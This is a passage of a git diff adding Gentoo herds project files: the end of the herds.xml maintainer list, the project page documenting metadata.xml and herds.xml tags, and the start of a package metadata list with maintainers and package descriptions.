+    <name>José Alberto Suárez López</name>
+  </maintainer>
+  <maintainer>
+    <email>bangert@gentoo.org</email>
+    <name>Thilo Bangert</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>nx</name>
+  <email>nx@gentoo.org</email>
+  <description>NoMachine's NX Server and GPL'd clones</description>
+  <maintainer>
+    <email>voyageur@gentoo.org</email>
+    <name>Bernard Cafarelli</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-proxy</name>
+  <email>net-proxy@gentoo.org</email>
+  <description>Network proxies</description>
+  <maintainer>
+    <email>mrness@gentoo.org</email>
+    <name>Alin Nastac</name>
+  </maintainer>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+  </maintainer>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+    <role>MySQL Proxy</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>kerberos</name>
+  <email>kerberos@gentoo.org</email>
+  <description>Kerberos implementations</description>
+</herd>
+<herd>
+  <name>cvs-utils</name>
+  <email>cvs-utils@gentoo.org</email>
+  <description>cvs and utilities</description>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>mysql</name>
+  <email>mysql-bugs@gentoo.org</email>
+  <description>MySQL and related packages</description>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>mobile-phone</name>
+  <email>mobile-phone@gentoo.org</email>
+  <description>Mobile phone related applications</description>
+  <maintainer>
+    <email>mrness@gentoo.org</email>
+    <name>Alin Nastac</name>
+  </maintainer>
+  <maintainer>
+    <email>s4t4n@gentoo.org</email>
+    <name>Michele Noberasco</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-ftp</name>
+  <email>net-ftp@gentoo.org</email>
+  <description>FTP (File Transfer Protocol) related applications</description>
+  <maintainer>
+    <email>voyageur@gentoo.org</email>
+    <name>Bernard Cafarelli</name>
+  </maintainer>
+  <maintainer>
+    <email>polynomial-c@gentoo.org</email>
+    <name>Lars Wendler</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>vserver</name>
+  <email>vserver-devs@gentoo.org</email>
+  <description>Linux-VServer related applications</description>
+  <maintainer>
+    <email>hollow@gentoo.org</email>
+    <name>Benedikt Böhm</name>
+    <role>Linux-VServer</role>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+    <role>OpenVZ</role>
+  </maintainer>
+  <maintainer>
+    <email>bangert@gentoo.org</email>
+    <name>Thilo Bangert</name>
+    <name>OpenVZ, KVM</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>cpp</name>
+  <email>cpp@gentoo.org</email>
+  <description>miscellaneous C++ libraries and utilities</description>
+    <maintainer>
+      <email>dev-zero@gentoo.org</email>
+      <name>Tiziano Müller</name>
+    </maintainer>
+    <maintainer>
+      <email>halcy0n@gentoo.org</email>
+      <name>Mark Loeser</name>
+    </maintainer>
+</herd>
+<herd>
+  <name>ldap</name>
+  <email>ldap-bugs@gentoo.org</email>
+  <description>LDAP related things</description>
+  <maintainer>
+    <email>jokey@gentoo.org</email>
+    <name>Markus Ullmann</name>
+  </maintainer>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>x86</name>
+  <email>x86@gentoo.org</email>
+  <description>Gentoo/x86 team</description>
+  <maintainingproject>/proj/en/base/x86/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>xemacs</name>
+    <email>xemacs@gentoo.org</email>
+    <description>XEmacs editor and the associated xemacs lisp packages</description>
+    <maintainer>
+      <email>graaff@gentoo.org</email>
+    </maintainer>
+</herd>
+<herd>
+  <name>xen</name>
+    <email>xen@gentoo.org</email>
+    <description>Xen virtualization software and related packages</description>
+    <maintainingproject>/proj/en/virtualization/xen/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>xbox</name>
+  <email>xbox@gentoo.org</email>
+  <description>Software for running Gentoo on the Xbox</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>lcd</name>
+  <email>lcd@gentoo.org</email>
+  <description>Software related to LCD control</description>
+  <maintainer>
+    <email>jokey@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>rbu@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>rox</name>
+  <email>rox@gentoo.org</email>
+  <description>ROX Desktop and applications</description>
+  <maintainer>
+    <email>lack@gentoo.org</email>
+    <name>Jim Ramsay</name>
+  </maintainer>
+</herd>
+<herd>
+    <name>tex</name>
+    <email>tex@gentoo.org</email>
+    <description>Tex, pdf and text utilities (split of text-markup)</description>
+    <maintainer>
+        <email>aballier@gentoo.org</email>
+        <name>Alexis Ballier</name>
+    </maintainer>
+</herd>
+<herd>
+    <name>sgml</name>
+    <email>sgml@gentoo.org</email>
+    <description>SGML and docbook packages (split of text-markup)</description>
+    <maintainer>
+        <email>wired@gentoo.org</email>
+        <name>Alex Alexander</name>
+    </maintainer>
+    <maintainer>
+        <email>tampakrap@gentoo.org</email>
+        <name>Theo Chatzimichos</name>
+    </maintainer>
+</herd>
+<herd>
+    <name>theology</name>
+    <email>theology@gentoo.org</email>
+    <description>Religious, genealogy, humanities-related packages</description>
+    <maintainer>
+        <email>beandog@gentoo.org</email>
+        <name>Steve Dibb</name>
+    </maintainer>
+</herd>
+<herd>
+    <name>mythtv</name>
+    <email>mythtv@gentoo.org</email>
+    <description>MythTV related packages</description>
+    <maintainer>
+	<email>cardoe@gentoo.org</email>
+	<name>Doug Goldstein</name>
+    </maintainer>
+    <maintainer>
+        <email>tanderson@gentoo.org</email>
+        <name>Thomas Anderson</name>
+    </maintainer>
+    <maintainer>
+        <email>rich0@gentoo.org</email>
+        <name>Richard Freeman</name>
+    </maintainer>
+</herd>
+<herd>
+    <name>virtualization</name>
+    <email>virtualization@gentoo.org</email>
+    <description>Gentoo Virtualization Project</description>
+    <maintainingproject>/proj/en/virtualization/index.xml</maintainingproject>
+</herd>
+<herd>
+    <name>qemu</name>
+    <email>qemu@gentoo.org</email>
+    <description>Gentoo QEMU Project</description>
+    <maintainingproject>/proj/en/virtualization/qemu/index.xml</maintainingproject>
+</herd>
+<herd>
+    <name>openrc</name>
+    <email>openrc@gentoo.org</email>
+    <description>Openrc is Gentoo's initialization scripts system</description>
+    <maintainer>
+	<email>anarchy@gentoo.org</email>
+	<name>Jory Pratt</name>
+    </maintainer>
+    <maintainer>
+        <email>blueness@gentoo.org</email>
+        <name>Anthony G. Basile</name>
+    </maintainer>
+    <maintainer>
+        <email>williamh@gentoo.org</email>
+        <name>William Hubbs</name>
+    </maintainer>
+    <maintainer>
+        <email>patrick@gentoo.org</email>
+        <name>Patrick Lauer</name>
+    </maintainer>
+    <maintainer>
+        <email>dabbott@gentoo.org</email>
+        <name>David Abbott</name>
+    </maintainer>
+</herd>
+</herds>
+
+<!--
+Local Variables:
+tab-width: 4
+sgml-indent-step: 4
+End:
+
+vim:ai:et:ts=4:nowrap
+-->
diff --git a/xml/htdocs/proj/en/metastructure/herds/index.xml b/xml/htdocs/proj/en/metastructure/herds/index.xml
new file mode 100644
index 00000000..353dfcfc
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/herds/index.xml
@@ -0,0 +1,143 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!--$Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/metastructure/herds/index.xml,v 1.26 2010/06/20 16:15:12 pchrist Exp $-->
+
+<project>
+	<name>herds</name>
+	<longname>Gentoo Herds Project</longname>
+
+	<description>
+	The herds project aims to ensure that ebuilds are organised in groups
+	which have maintainers, and that some ebuilds get maintainers assigned
+	</description>
+
+	<longdescription>
+<p>The herds project aims to ensure that the growing number of ebuilds does not
+overwhelm the gentoo project. To this end the herds project aims for the
+development of infrastructure that will help with the management of a large
+collection of ebuilds</p>
+<p>Currently the herds project has two elements into place:</p>
+<ul>
+<li><uri link="#doc_chap4">metadata.xml</uri></li>
+<li><uri link="#doc_chap5">herds.xml</uri></li>
+</ul>
+	</longdescription>
+	<dev role="lead" description="Manager of the project">pauldv</dev>
+	<dev>klieber</dev>
+	<dev>g2boojum</dev>
+	<resource link="herds.xml">List of all herds</resource>
+<extrachapter><title>metadata.xml</title>
+<section>
+<body>
+<p>The <c>metadata.xml</c> file has as its purpose to give extra information about
+ebuilds. The <c>metadata.xml</c> file should exist in every package directory.
+A skel file can be found as <c>skel.metadata.xml</c> in the portage tree.</p>
+<note>Please run <c>xmllint --valid metadata.xml</c> before committing a
+<c>metadata.xml</c> file.  We hope to add support for <c>metadata.xml</c> to repoman
+soon.</note>
+<p>A <c>metadata.xml</c> file can
+contain a number of tags:</p>
+<table>
+<tr><th>tag</th><th>description</th></tr>
+<tr><ti><brite>&lt;pkgmetadata&gt;</brite></ti><ti>This is the root element of the metadata.xml
+file. It has no attributes. Its required subtag is: <brite>&lt;herd&gt;</brite>. Further
+the following subtags are allowed: <brite>&lt;email&gt;</brite> for a general herd email address, <brite>&lt;maintainer&gt;</brite>, and
+<brite>&lt;longdescription&gt;</brite>.</ti></tr>
+<tr><ti><brite>&lt;herd&gt;</brite></ti><ti>There must at least be one herd
+subtag. The contents of this tag should be the name of be a herd as specified in
+the <c><uri
+link="http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml?content-type=text%2Fplain">herds.xml</uri></c>
+file. It must occur at least once.</ti></tr>
+<tr><ti><brite>&lt;maintainer&gt;</brite></ti><ti>Besides being in a
+herd, a package can also be maintained directly. Direct maintainers of a package
+can be specified with the <brite>&lt;maintainer&gt;</brite> tag. This tag has
+one required subtag: <brite>&lt;email&gt;</brite>. It has two optional subtags:
+<brite>&lt;name&gt;</brite>, and <brite>&lt;description&gt;</brite>.
+</ti></tr>
+<tr><ti><brite>&lt;email&gt;</brite></ti><ti>This contains the e-mail
+address of the maintainer. It is required.</ti></tr>
+<tr><ti><brite>&lt;name&gt;</brite></ti><ti>This contains freetext with the name
+of the maintainer. It is optional.</ti></tr>
+<tr><ti><brite>&lt;description&gt;</brite></ti><ti>The description tag contains a
+description of the maintainership, or for example a remark that someone
+interested can take over the maintainership. It is optional.</ti></tr>
+<tr><ti><brite>&lt;longdescription&gt;</brite></ti><ti>This tag contains a
+description of the package. This is to augment the DESCRIPTION field in the
+ebuilds themselves.</ti></tr>
+</table>
+<p>There are also some attributes that can be used with these tags. They are all
+optional:</p>
+<table><tr><th>attribute</th><th>tags</th><th>description</th></tr>
+<tr><ti>lang</ti><ti><brite>&lt;description&gt;</brite>,
+<brite>&lt;longdescription&gt;</brite></ti><ti>In every case where a description
+is required, there must be at <c>least</c> an english description.  If an additional
+description in another language is given, this attribute is used to specify the
+language used.  The format is a two-character country code.
+</ti></tr>
+<tr><ti>restrict</ti><ti><brite>&lt;herd&gt;</brite>,
+<brite>&lt;maintainer&gt;</brite>, <brite>&lt;longdescription&gt;</brite></ti><ti>
+The restrict attribute allows to restrict the application of certain tags to
+certain versions of a package. When this attribute is used, a tag without this
+attribute must also exist. That tag without the restrict attribute will serve as
+the default. The format of the restrict attribute is that of the DEPEND flag,
+except that &quot;&lt;&quot; and &quot;&gt;&quot; need to be specified by &amp;lt; and &amp;gt;.<br/>
+For example in the db package <c>restrict="&gt;=sys-libs/db-3.2.9-r5"</c> on the maintainer tag shows that I'm currently maintaining all versions bigger then 3.2.9-r5.
+</ti></tr>
+</table>
+</body>
+</section>
+</extrachapter>
+<extrachapter><title>herds.xml</title>
+<section>
+<body>
+<p>The <c><uri
+link="http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml?content-type=text%2Fplain">herds.xml</uri></c> <uri link="herds.xml">(formatted)</uri> file that can be found in CVS at
+<c>/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml</c> is the source of all herds. All herds that are
+referred to in <c>metadata.xml</c> files need to be specified in this file.
+</p>
+<p>The <c>herds.xml</c> file contains the following tags:</p>
+<table>
+<tr><th>tag</th><th>description</th></tr>
+<tr><ti><brite>&lt;herds&gt;</brite></ti><ti>This is the root element of the
+<c>herds.xml</c> file. It has no attributes. It has only one subtag:
+<brite>&lt;herd&gt;</brite>.  </ti></tr>
+<tr><ti><brite>&lt;herd&gt;</brite></ti><ti>The herd tag describes a herd. There
+is one herd tag per herd. It has one required subtag:
+<brite>&lt;name&gt;</brite>. Further it has the following optional subtags:
+<brite>&lt;email&gt;</brite>, and
+<brite>&lt;description&gt;</brite>. The tags <brite>&lt;maintainer&gt;</brite>,
+<brite>&lt;maintainersof&gt;</brite>, and <brite>&lt;maintainingproject&gt;</brite>
+are special in that only one of the three is allowed, and only &lt;maintainer&gt; is
+allowed to occur more than once. 
+<br/>
+The email tag can be used to specify the email addres to be used to contact the herd's
+managers.
+</ti></tr>
+<tr><ti><brite>&lt;name&gt;</brite></ti><ti>This tag contains the name of the
+herd, or the maintainer</ti></tr>
+<tr><ti><brite>&lt;description&gt;</brite></ti><ti>The description tag is
+optional, but highly recommended. This tag describes what kinds of ebuilds are
+part of the herd.</ti></tr>
+<tr><ti><brite>&lt;maintainersof&gt;</brite></ti><ti>This tag specifies the name of the
+herd whose maintainers also maintain this herd. There is one required attribute <brite>herd</brite> specifying the herd, the tag itself has no contents.</ti></tr>
+<tr><ti><brite>&lt;maintainingproject&gt;</brite></ti><ti>This tag contains the name of the projectxml file that describes the project managing the herd. If this tag is present it is used to have all project members be herd maintainers.</ti></tr>
+<tr><ti><brite>&lt;maintainer&gt;</brite></ti><ti>There is one maintainer tag
+per maintainer of the herd. This tag has one required subtag:
+<brite>&lt;email&gt;</brite>. It has two optional subtags:
+<brite>&lt;name&gt;</brite>, and <brite>&lt;role&gt;</brite>.</ti></tr>
+<tr><ti><brite>&lt;email&gt;</brite></ti><ti>This contains the e-mail
+address of the maintainer. It is required for maintainers. It may also contain
+the e-mail address that is used for contacting the team that maintains the herd
+(toplevel).</ti></tr>
+<tr><ti><brite>&lt;role&gt;</brite></ti><ti>The role tag contains a description
+of the role of the maintainer with maintaining the herd. This tag is
+optional.</ti></tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/metastructure/herds/pkgList.xml b/xml/htdocs/proj/en/metastructure/herds/pkgList.xml
new file mode 100644
index 00000000..e541e4e6
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/herds/pkgList.xml
@@ -0,0 +1,20235 @@
+<?xml version="1.0"?>
+<!DOCTYPE packages SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<packages>
+<pkgmetadata pkgname="app-admin/apachetop">
+<herd>web-apps</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/apg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tad@gentoo.org</email>
+  <name>Troy Dack</name>
+</maintainer>
+ <longdescription>Another Password Generator. Generates random, pronouncable passwords with a variety of algorithms</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/bastille">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>hardened@gentoo.org</email>
+		<description>Bastille Currently Has No Primary Gentoo Maintainer</description>
+	</maintainer>
+	<longdescription>The Bastille Hardening System attempts to &quot;harden&quot; or &quot;tighten&quot; Unix operating systems.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/conserver">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+From Conserver's website:
+Conserver is an application that allows multiple users to watch a serial console at the same time. It can log the data, allows users to take write-access of a console (one at a time), and has a variety of bells and whistles to accentuate that basic functionality. The idea is that conserver will log all your serial traffic so you can go back and review why something crashed, look at changes (if done on the console), or tie the console logs into a monitoring system (just watch the logfiles it creates). With multi-user capabilities you can work on equipment with others, mentor, train, etc. It also does all that client-server stuff so that, assuming you have a network connection, you can interact with any of the equipment from home or wherever.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/fam">
+<herd>no-herd</herd>
+<maintainer>
+  <email>foser@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/fetchlog">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+<description>Committed on user request, not using it.</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/fpm">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/gentoo-rsync-mirror">
+<herd>cluster</herd>
+<maintainer>
+  <email>tantive@gentoo.org</email>
+<!--  <name>Michael Imhof</name> -->
+<!--  <description>Release manager, patch manager</description> -->
+</maintainer>
+<!-- <longdescription></longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/gkrellm">
+<herd>no-herd</herd>
+<maintainer>
+  <email>mholzer@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/gnomesu">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/grubconf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/hddtemp">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/lcap">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/lsat">
+<herd>no-herd</herd>
+<longdescription>
+Linux Security Auditing Tool (LSAT) is a post install security auditing tool. It is modular in design, so new features can be added quickly. It checks inetd entries and scans for unneeded RPM packages. It is being expanded to work with Linux distributions other than Red Hat, and checks for kernel versions.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/monit">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/otpcalc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+otpCalc is an RFC2289 and RFC1760 compliant one time password calculator, written to use the GTK+ library for screen I/O.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/partgui">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+  <description>Free for adoption</description> 
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/paxtest">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+<longdescription>Test suite for the PaX kernel patch
+ PaX is a Linux kernel patch which adds much stricter control on how memory
+ is being used by applications. A normal Linux kernel leaves the control to the
+ application and does not implement any enforcement. Especially buffer overflow
+ attacks benefit from the absense of kernel enforced memory control. PaX tries
+ to do its best to enforce this control of memory used by applications, thereby
+ making it harder to succesfully exploit buffer overflows.
+ .
+ Furthermore, it adds several randomisations, which also make it harder for
+ buffer overflows to succeed.
+ .
+ The test programs test all this functionality, but not all PaX functionality
+ is covered.
+ .
+ For more information about PaX, see http://pageexec.virtualave.net/.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/prelude-lml">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Mantainer</description>
+	</maintainer>
+	<longdescription>Prelude-IDS Log Monitoring Lackey</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/prelude-manager">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>Prelude-IDS Manager</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/setools">
+<herd>hardened</herd>
+<maintainer>
+  <email>pebenito@gentoo.org</email>
+  <name>Chris PeBenito</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>SELinux graphical policy analisis and editing tools.  On a SELinux machine, a user manager is also included for keeping the unix user and SELinux identity consistent.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/skey">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+From RFC2289:
+One form of attack on networked computing systems is eavesdropping on network connections to obtain authentication information such as the login IDs and passwords of legitimate users. Once this information is captured, it can be used at a later time to gain access to the system. One-time password systems are designed to counter this type of attack, called a &quot;replay attack.&quot;
+
+The authentication system described in this document uses a secret pass-phrase to generate a sequence of one-time (single use) passwords. With this system, the user's secret pass-phrase never needs to cross the network at any time such as during authentication or during pass-phrase changes. Thus, it is not vulnerable to replay attacks. Added security is provided by the property that no secret information need be stored on any system, including the server being protected.
+
+The OTP system protects against external passive attacks against the authentication subsystem. It does not prevent a network eavesdropper from gaining access to private information and does not provide protection against either &quot;social engineering&quot; or active attacks.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/syslog-ng">
+<herd>no-herd</herd>
+<maintainer>
+  <email>mr_bones_@gentoo.org</email>
+  <name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/systemimager-boot-bin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+SystemImager makes it easy to do automated installs (clones), software distribution, content or data distribution, configuration changes, and operating system updates to your network of Linux machines. You can even update from one Linux release version to another!
+
+It can also be used to ensure safe production deployments. By saving your current production image before updating to your new production image, you have a highly reliable contingency mechanism. If the new production enviroment is found to be flawed, simply roll-back to the last production image with a simple update command!
+
+Some typical environments include: Internet server farms, database server farms, high performance clusters, computer labs, and corporate desktop environments. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/systemimager-client-bin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+SystemImager makes it easy to do automated installs (clones), software distribution, content or data distribution, configuration changes, and operating system updates to your network of Linux machines. You can even update from one Linux release version to another!
+
+It can also be used to ensure safe production deployments. By saving your current production image before updating to your new production image, you have a highly reliable contingency mechanism. If the new production enviroment is found to be flawed, simply roll-back to the last production image with a simple update command!
+
+Some typical environments include: Internet server farms, database server farms, high performance clusters, computer labs, and corporate desktop environments. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/systemimager-common-bin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+SystemImager makes it easy to do automated installs (clones), software distribution, content or data distribution, configuration changes, and operating system updates to your network of Linux machines. You can even update from one Linux release version to another!
+
+It can also be used to ensure safe production deployments. By saving your current production image before updating to your new production image, you have a highly reliable contingency mechanism. If the new production enviroment is found to be flawed, simply roll-back to the last production image with a simple update command!
+
+Some typical environments include: Internet server farms, database server farms, high performance clusters, computer labs, and corporate desktop environments. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/systemimager-server-bin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+SystemImager makes it easy to do automated installs (clones), software distribution, content or data distribution, configuration changes, and operating system updates to your network of Linux machines. You can even update from one Linux release version to another!
+
+It can also be used to ensure safe production deployments. By saving your current production image before updating to your new production image, you have a highly reliable contingency mechanism. If the new production enviroment is found to be flawed, simply roll-back to the last production image with a simple update command!
+
+Some typical environments include: Internet server farms, database server farms, high performance clusters, computer labs, and corporate desktop environments. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/tripwire">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/ulogd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/webalizer">
+<herd>web-apps</herd>
+<maintainer>
+  <email>web-apps@gentoo.org</email>
+  <name>Gentoo Web Application Packages Maintainers</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/xsu">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/xsu2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-admin/zope-config">
+<herd>net-zope</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/advancecomp">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+AdvanceCOMP is a set of recompression utilities for .PNG, .MNG, .ZIP and .GZ files
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/dar">
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+<longdescription>
+Backup directory tree and files.
+Full featured archiver with support for differential backups, slices,
+compression, ATTR/ACL support. DAR also supports Pipes for remote
+operations, including with ssh.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/dpkg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/file-roller">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/flexbackup">
+<herd>no-herd</herd>
+<maintainer><email>max@gentoo.org</email></maintainer>
+<maintainer><email>mholzer@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/karchiver">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/kdar">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/konserve">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/pax">
+<herd>no-herd</herd>
+<maintainer>
+  <email>magnet@suidzer0.org</email>
+  <name>Magnet</name>
+  <description>He's the third party maintainer through
+  seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/pdumpfs">
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+<longdescription>
+pdumpfs is a simple daily backup system similar to Plan9's dumpfs which
+preserves every daily snapshot. pdumpfs is written in Ruby. You can access
+the past snapshots at any time for retrieving a certain day's file. Let's
+backup your home directory with pdumpfs!
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/ppmd">
+<herd>no-herd</herd>
+<maintainer>
+	<email>bdharring@wisc.edu</email>
+	<name>Brian Harring</name>
+	<description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/rpm2targz">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-arch/unshield">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-benchmarks/jmeter">
+<herd>java</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/cdlabelgen">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/cdrtools">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pylon@gentoo.org</email>
+  <name>Lars Weiler</name>
+  <description>Testing on x86 and ppc with SCSI and ATAPI writers.  Adding features to ebuild</description>
+</maintainer>
+<longdescription>CD and DVD command line recording and ripping tools.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/cdrw-base">
+<herd>no-herd</herd>
+<maintainer>
+  <email>spider@gentoo.org</email>
+  <name>DmD Ljungmark</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/cdw">
+<herd>no-herd</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-cdr/dvdrtools">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pylon@gentoo.org</email>
+  <name>Lars Weiler</name>
